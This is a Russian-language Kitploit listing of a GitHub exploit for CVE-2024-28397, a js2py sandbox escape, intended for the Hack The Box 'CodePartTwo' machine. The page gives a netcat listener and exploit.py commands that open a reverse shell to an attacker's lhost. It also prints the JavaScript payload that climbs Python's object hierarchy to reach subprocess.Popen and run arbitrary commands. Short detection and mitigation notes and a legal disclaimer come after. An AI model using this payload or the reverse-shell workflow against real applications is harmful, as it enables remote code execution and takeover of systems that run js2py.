Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2024-28397 — This repository contains a python exploit code for CVE-2024-28397 intended for use on the "CodePartTwo" machine on Hack The Box (HTB). | Kitploit
Инструменты/GitHubGitHub/naclapor/cve-2024-28397
Vulnerability AnalysisExploitationCTFPenetration TestingLearning & EducationPayload Development
GitHubnaclapor/cve-2024-28397

CVE-2024-28397

This repository contains a python exploit code for CVE-2024-28397 intended for use on the "CodePartTwo" machine on Hack The Box (HTB).

Репозиторий
12111 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2024-28397 Эксплуатация обхода песочницы js2py - (CodePartTwo - HTB)

Код эксплойта на Python для CVE-2024-28397, критической уязвимости в js2py <= 0.74, позволяющей обход песочницы и удаленное выполнение кода.

🚨 Детали уязвимости

  • CVE ID: CVE-2024-28397
  • Затронутое ПО: js2py <= 0.74
  • Серьезность: Критическая (CVSS 9.8)
  • Тип: Обход песочницы / Удаленное выполнение кода
  • Дата обнаружения: Февраль 2024

Описание

js2py — популярная библиотека Python для выполнения кода JavaScript в среде Python. Эта уязвимость позволяет злоумышленникам обойти песочницу js2py и выполнить произвольные команды Python/системы, даже если включена опция js2py.disable_pyimport().

Эксплойт использует возможности интроспекции объектов Python через JavaScript для доступа к классу subprocess.Popen и выполнения системных команд.

🎯 Затронутые приложения

  • Веб-приложения, использующие js2py для выполнения JavaScript
  • Платформы выполнения кода (например, онлайн-редакторы кода)
  • Веб-скраперы, обрабатывающие JavaScript
  • Любые приложения, обрабатывающие непроверенный JavaScript через js2py
  • 🚀 Использование

    Предварительные требования

    root@kitploit:~
    pip install requests
    

    Базовое использование

    root@kitploit:~
    # Запустить слушатель netcat
    nc -lnvp 4444
    
    # Запустить эксплойт
    python3 exploit.py --target http://target.com:8000/run_code --lhost 10.10.14.100 --lport 4444
    

    Параметры командной строки

    root@kitploit:~
    --target    URL конечной точки цели (обязательно)
    --lhost     Локальный IP для обратного шелла (обязательно)
    --lport     Локальный порт для обратного шелла (по умолчанию: 4444)
    

    Пример

    root@kitploit:~
    python3 exploit.py --target http://10.10.11.82:8000/run_code --lhost 10.10.14.100
    

    🔧 Как это работает

    1. Генерация полезной нагрузки: Создание команды обратного шелла, закодированной в base64
    2. Обход песочницы: Использование JavaScript для доступа к иерархии объектов Python через __class__ и __base__
    3. Выполнение процесса: Поиск subprocess.Popen через интроспекцию
    4. Выполнение команды: Запуск команды обратного шелла с помощью Popen
    5. Установка шелла: Подключение обратно к машине атакующего

    Технические детали

    Эксплойт работает путем:

    • Доступа к Object.getOwnPropertyNames({}).__class__.__base__.__getattribute__
    • Прохода по иерархии объектов Python через __subclasses__()
    • Поиска класса subprocess.Popen
    • Создания нового процесса для выполнения обратного шелла

    📝 Структура кода эксплойта

    root@kitploit:~
    // Доступ к иерархии объектов Python
    let a = Object.getOwnPropertyNames({}).__class__.__base__.__getattribute__;
    let obj = a(a(a, "__class__"), "__base__");
    
    // Поиск класса subprocess.Popen
    function findpopen(o) {
        // Рекурсивный поиск по подклассам
        for(let i in o.__subclasses__()) {
            let item = o.__subclasses__()[i];
            if(item.__module__ == "subprocess" && item.__name__ == "Popen") {
                return item;
            }
        }
    }
    
    // Выполнение команды
    let result = findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate();
    

    🛡️ Обнаружение

    Ищите JavaScript-код, содержащий:

    • Доступ к атрибутам __class__ или ___class___
    • Вызовы методов __subclasses__()
    • Ссылки на subprocess или Popen
    • Полезные нагрузки, закодированные в base64, с printf и base64 -d

    🔒 Смягчение последствий

    1. Обновите js2py: Обновитесь до исправленной версии (> 0.74)
    2. Проверка входных данных: Очищайте код JavaScript перед выполнением
    3. Изоляция: Используйте дополнительную контейнеризацию (Docker, chroot)
    4. Аудит кода: Проверяйте контексты выполнения JavaScript
    5. Правила WAF: Блокируйте подозрительные шаблоны JavaScript

    ⚠️ Правовое предупреждение

    Этот инструмент предназначен только для авторизованного тестирования на проникновение и образовательных целей. Пользователи несут ответственность за соблюдение применимых законов и нормативных актов. Несанкционированный доступ к компьютерным системам является незаконным.

    📚 Ссылки

    • Оригинальный отчет CVE
    • Репозиторий js2py на GitHub
    • Детали CVE-2024-28397

    📄 Лицензия

    Этот проект распространяется под лицензией MIT - подробности см. в файле LICENSE.

    Скачать инструмент